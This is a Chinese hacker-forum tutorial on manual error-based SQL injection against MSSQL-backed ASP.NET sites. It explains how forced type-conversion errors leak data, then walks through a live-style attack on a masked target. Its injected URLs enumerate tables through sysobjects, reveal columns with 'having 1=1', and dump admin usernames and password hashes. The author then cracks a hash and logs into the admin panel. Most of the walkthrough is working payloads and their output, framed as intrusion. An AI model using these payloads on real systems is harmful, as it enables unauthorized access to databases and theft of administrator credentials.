MSSQL显错模式的手工注入实现原理思考和实战

2009, December 13, 11:04 PM. 黑友网文
Submitted by admin

by Ay暗影

    说到Mssql手工注入,本人喜欢显错模式的,为啥呢,因为你只要构造一个语句,不用你一个一个特意的去猜,程序会自动告诉你我们要的信息,省时省力,不像不显错模式的盲注,可以让你猜上个半天。进入正题,下面来说说我对显错模式原理的思考。

    显错模式,起初也是为了方便程序员修改代码,但是,这正好被我们利用了,我们故意让程序出错来爆出我们要的敏感信息。

    上次我说到过having 1=1 和group by的显错模式是通过语法错误来达到我们的目的,这次我说的出错是数据转换出错,就是通过数据转换让数据发生溢出来完成我们的动作。

    我们应该都听说数据类型,比如int,char,等等。。。当我们定义好一个数据时,也就定义好了一个数据的长度,比如,int 型是4个字节的长度,如果一个数据超过了4个字节的长度的话,该数据就会发生溢出而失去准确性,从而编译软件会显示出错信息。

    在数据转换时有个规则,就是短的可以转换成长的,但是长的不能转换成短的,什么意思呢,就是比如数据库中有整型数据tinyint(一个字节长度)、smallint(两个字节长度)、int(四个字节长度),tinyint可以向上转化成smallint、int而不会出错,但是不能反向转化把int转化为smallint和tinyint,否则会发生数据溢出。为啥呢,这个应该很容易理解,一个数据本来是4个字节长度的,转换成2个字节长度的数据类型的话,这个2个字节的空间就装不下了,数据就丢失了,同理,反过来就可以了,2个字节的数据可以换到4个字节的空间里,数据是不会丢失出错的。

我在使用这个方法时用到下面两个函数

数据转换函数

convert(数据类型,表达式(就是要转换的对象))

cast(表达式 as 数据类型)


在注入时我们要用到的语句:

因为光是用group by 和having 不能完成我们的检测过程,所以我们要配合其他系统函数的查表功能,因为上面必须要知道表名才能利用


第一种函数

select name from sysobjects where xtype='u'  通过这个来爆第一个表

select name from sysobjects where xtype='u' and name not in('爆出来的表1','爆出来的表2'...)

一直爆下去,直到找到我们所需要的表位置


第二种函数

select table_name from information_schema.tables

select table_name from information_schema.tables where table_name not in ('爆出来的表1','爆出来的表2'...)。


实战练习

目标 http://www.xxx.com/shownews.aspx?id=3

首先拿个到一个注入点,我们要判断是什么类型的数据库mssql还是access或者其他。

一、我们提交

http://www.xxx.com/shownews.aspx?id=3 and user>0

我们得到用户名是:Jxb_Ojc_Zj_Cn

大小: 50.36 K
尺寸: 500 x 162
浏览: 44 次
点击打开新窗口浏览全图

二、我们提交

http://www.xxx.com/shownews.aspx?id=3 and db_name()>0

得到数据库也是:Jxb_Ojc_Zj_Cn

大小: 62.18 K
尺寸: 500 x 178
浏览: 39 次
点击打开新窗口浏览全图

三、继续提交

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0))

根据返回的结果,应该不是我们要的表

大小: 50.9 K
尺寸: 500 x 170
浏览: 44 次
点击打开新窗口浏览全图

四、接着提交(这中间省了好多步相同操作,直到发现很有可能存放用户名的表)

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 name from sysobjects where xtype=u and status>0 and name not in ('FM_Page_Class, 'D99_Tmp', 'D99_CMD')))

哈哈,之前有人用啊D检测过。。。

大小: 58.01 K
尺寸: 500 x 175
浏览: 40 次
点击打开新窗口浏览全图

大小: 57.71 K
尺寸: 500 x 176
浏览: 37 次
点击打开新窗口浏览全图

五、确定了表明之后,我们来利用having 1=1 来爆出表里的列明

提交 http://www.xxx.com/shownews.aspx?id=3 select * from FM_admin having 1=1

爆出了所有的列名,哈哈,不过一般情况下是只爆出一个列,那就要用到group by了。

大小: 145.59 K
尺寸: 500 x 281
浏览: 50 次
点击打开新窗口浏览全图

六、整理下我们手上的资料,我们得到了表和列,那我们就要开始爆它字段的内容了

提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin))

爆出了用户名:admin

大小: 60.29 K
尺寸: 500 x 173
浏览: 54 次
点击打开新窗口浏览全图

接着提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin))

爆出了密码:BD2C2**********BF2F4284BFDA1

大小: 59.73 K
尺寸: 500 x 179
浏览: 47 次
点击打开新窗口浏览全图

当然,还有其他密码,我们可以加一个限制条件来爆出其他用户名和密码,

分别提交: http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 adminname from fm_admin where username not in (admin)))

大小: 61.68 K
尺寸: 500 x 172
浏览: 41 次
点击打开新窗口浏览全图

http://www.xxx.com/shownews.aspx?id=3 and 1=convert(int,(select top 1 password from fm_admin where adminname not in (admin)))

大小: 50.28 K
尺寸: 500 x 151
浏览: 39 次
点击打开新窗口浏览全图

当然,这个where的限制条件可以自己变通下加,这个就看大家怎么想了,哈。

接下来其他的用户名和密码我就不爆了,还有很多个用户名和密码,方法同上,重复操作。

七、拿用户名和密码进后台

拿着爆出来的md5加密的密码去破解下,运气好,第一个密码就解了

大小: 17.31 K
尺寸: 500 x 129
浏览: 45 次
点击打开新窗口浏览全图

然后就是拿密码进后台了

大小: 48.35 K
尺寸: 500 x 231
浏览: 36 次
点击打开新窗口浏览全图

入侵就到这里了,拿shell我就不写下去了,哈哈。

希望这篇文章对大家有用处。。。

« 上一篇 | 下一篇 »

只显示10条记录相关文章
3个MSSQL扩展,可用来获取WEBSHELL (浏览: 7573, 评论: 0)
关于access sql 偏移注入 (浏览: 10679, 评论: 0)
mssql数据操作小备忘 (浏览: 5, 评论: 0)
ECSHOP 2.7.X注入漏洞_20100507 (浏览: 15854, 评论: 0)
MSSQL2005 数据库备份语句 (浏览: 8050, 评论: 0)
B2B电子商务购物网站Cookies注入漏洞 (浏览: 9070, 评论: 0)
某交友网站的注入漏洞 (浏览: 23331, 评论: 0)
志坚网络新闻系统 1.0 多文件存在Cookies注入 (浏览: 9414, 评论: 0)
ACCESS数据库手工注入备忘 (浏览: 33, 评论: 0)
MSSQL显错模式的手工注入实现原理思考和实战 (浏览: 8044, 评论: 0)
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):